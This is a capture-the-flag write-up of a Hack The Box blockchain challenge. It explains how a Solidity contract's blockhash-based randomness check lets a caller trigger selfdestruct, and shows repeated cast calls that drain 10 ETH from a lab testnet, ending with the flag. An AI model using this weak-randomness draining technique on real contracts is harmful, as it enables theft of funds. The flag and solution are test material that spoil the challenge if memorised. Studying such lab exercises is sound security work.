## Russian Roulette [very easy]
### Description
`Welcome to The Fray. This is a warm-up to test if you have what it takes to tackle the challenges of the realm. Are you brave enough?`
### Initial Analysis
HTB spawned two Docker containers and provided a `.zip` file containing smart contracts, `Setup.sol` and `RussianRoulette.sol`. I began by looking at `Setup.sol`.
#### Setup.sol
```soliditypragma solidity 0.8.23;
import {RussianRoulette} from "./RussianRoulette.sol";
contract Setup {    RussianRoulette public immutable TARGET;
    constructor() payable {        TARGET = new RussianRoulette{value: 10 ether}();    }
    function isSolved() public view returns (bool) {        return address(TARGET).balance == 0;    }}```
A smart contract named `RussianRoulette` is created with 10 ether. To solve the challenge, I needed to drain `RussianRoulette` of that 10 ETH into the provided attacker wallet.
#### RussianRoulette.sol
```soliditypragma solidity 0.8.23;
contract RussianRoulette {
    constructor() payable {        // i need more bullets    }
    function pullTrigger() public returns (string memory) {        if (uint256(blockhash(block.number - 1)) % 10 == 7) {            selfdestruct(payable(msg.sender)); // ?        } else {		return "im SAFU ... for now";	    }    }}```
Looking at the `RussianRoulette` contract, I saw the `pullTrigger()` function which has a public state, so I could call it directly. When `pullTrigger()` is called, it:1. Calculates an unsigned, 256-bit integer from the blockhash of the transaction's block number minus one2. Modulos that value by 103. If the final value is equal to seven, the `selfdestruct()` method is called which deletes the smart contract and sends the remaining Ether to the designated contract (in this case, the transaction sender)
### Solution
Before interacting with the `RussianRoulette` contract, I grabbed the connection information for the hosted testnet and exported these values as environment variables in my Foundry-rs Docker container ([Foundry](https://github.com/foundry-rs/foundry)).
```$ nc 83.136.252.250 407611 - Connection information2 - Restart Instance3 - Get flagaction? 1
    Private key     :  0xbf72ec411f03738614ea4ff8ca1bedcf5879ca3ce0ed3fa1be876e82ba365e0b    Address         :  0x23C88A40d138f6eB43C1ae1E439fB37813D13709    Target contract :  0x8b40383E4793e3C9d4e44db36E878f9D279f0522    Setup contract  :  0xE7bA09fB42a91B2EbBc893d99dbD8D7C109eaf05
# export PK=0xbf72ec411f03738614ea4ff8ca1bedcf5879ca3ce0ed3fa1be876e82ba365e0b# export ATTACKER=0x23C88A40d138f6eB43C1ae1E439fB37813D13709# export TARGET=0x8b40383E4793e3C9d4e44db36E878f9D279f0522# export RPC=http://94.237.63.2:43020```
To get the right block number, I called `pullTrigger()` multiple times (15) using Foundry's `cast` tool to meet the `if` statement condition and trigger the `selfdestruct()` method to send the 10 Ether to my attacker contract.
```# cast send --private-key $PK -f $ATTACKER --rpc-url $RPC $TARGET "pullTrigger()"
    blockHash               0x0d7f6e70b44066fc8334a5e01e85b3db072fe849c1b450b4b7e9c2acd6dd6fe0    blockNumber             2    contractAddress    cumulativeGasUsed       21720    effectiveGasPrice       3000000000    from                    0x19Bd76639019aadBeeA69F5399C49e1672f5e25d    gasUsed                 21720    logs                    []    logsBloom               0x000000000000000000000000...    root    status                  1    transactionHash         0xae0003c575c9e12b54d1e52bae664897021d73cc75e5f0acb0417ca812d6ab5e    transactionIndex        0    type                    2    to                      0x28874aF3728F75792df75680b5c3a9ff1a8C4100    depositNonce             null
    Repeat...
    # cast send --private-key $PK -f $ATTACKER --rpc-url $RPC $TARGET "pullTrigger()"
    blockHash               0x6ae30317307bf064493418d851a4f8350ec86003067780a035c2260233812ce4    blockNumber             16    contractAddress    cumulativeGasUsed       26358    effectiveGasPrice       3000000000    from                    0x19Bd76639019aadBeeA69F5399C49e1672f5e25d    gasUsed                 26358    logs                    []    logsBloom               0x000000000000000000000000...    root    status                  1    transactionHash         0x114d561b016940ac946d493ee46d85e91ee76fea51c062b39857aaa4680920d5    transactionIndex        0    type                    2    to                      0x28874aF3728F75792df75680b5c3a9ff1a8C4100    depositNonce             null```
With the `pullTrigger()` condition met, I was able to get the flag.
```$ nc 83.136.252.250 40761    1 - Connection information    2 - Restart Instance    3 - Get flag    action? 3    HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}```